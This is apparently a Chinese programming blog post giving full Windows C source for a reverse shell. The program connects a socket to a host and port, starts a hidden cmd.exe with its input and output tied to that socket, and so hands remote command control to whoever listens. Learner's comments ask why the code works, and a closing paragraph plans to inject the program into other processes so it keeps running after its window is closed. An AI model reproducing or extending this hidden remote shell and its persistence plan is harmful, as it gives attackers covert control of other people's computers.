最简单的cmd_8.19

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")


int  cmdshell(SOCKET s)
{
 STARTUPINFO si;
 PROCESS_INFORMATION pi;
 GetStartupInfo(&si);//为什么把这句话注释掉,整个程序就只会显示main函数中的字符,而不会出现cmdshell???

 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 si.wShowWindow=SW_HIDE;  //这个参数可以变化!!!自己试试
 si.hStdInput=si.hStdOutput=si.hStdError=(void*)s; //(void*)s是什么意思?强制转换?

 char path[512];
 GetSystemDirectory(path,sizeof(path));
 strcat(path,"//cmd.exe");

 int rev;
 rev=CreateProcess(NULL,path,NULL,NULL,1,0,NULL,NULL,&si,&pi);

 WaitForSingleObject(pi.hProcess,INFINITE);
 CloseHandle(pi.hProcess);
 return 0;

}

int main(int argc,char* argv[])
{
 WSADATA wsaData;
 if ( 0 !=WSAStartup( MAKEWORD( 2, 2 ), &wsaData )) {
  return 1;
 } 
 if ( LOBYTE( wsaData.wVersion ) != 2 ||
  HIBYTE( wsaData.wVersion ) != 2 ) {
  WSACleanup( );
   return 1;
   }

 
 SOCKET s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
 
 if (INVALID_SOCKET==s)
 {
  printf("Socket is error!/n");
  WSACleanup();
  return 1;
 }
 
 sockaddr_in sAddr;
 sAddr.sin_family=AF_INET;
 sAddr.sin_port=htons(1000);
 sAddr.sin_addr.S_un.S_addr= inet_addr("127.0.0.1");
 
 int rev=connect(s,(SOCKADDR*) &sAddr,sizeof(sAddr));
 if (SOCKET_ERROR==rev)
 {
  printf("Connect is error!/n");
  closesocket(s);
  WSACleanup();
  return 1;
 }
 
 char buf[512]="欢迎使用这个小东西!/n";
 rev=send(s,buf,strlen(buf),0);
 if (SOCKET_ERROR==rev)
 {
        printf("send() failed with error: %d/n", WSAGetLastError());
       closesocket(s);
        WSACleanup();
        return 1;
 }
 
  cmdshell(s);

 closesocket(s);
 WSACleanup(); //加了这两句,窗口退出的时候会自动关闭窗口!!
 
 return 0;
 
}

//为什么将cmdshell与main顺序换一下,就会有乱码产生?????

 

另外,在解决上面问题的基础上,这个代码目前还需要做如下的完善:要插入其他进程,否则,1:直接执行这个程序后关闭窗口,2:在命令行下运行这个程序,然后退出命令行。在上面两种情况下,这个程序会自己主动结束,下一步要搞定这个东西。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值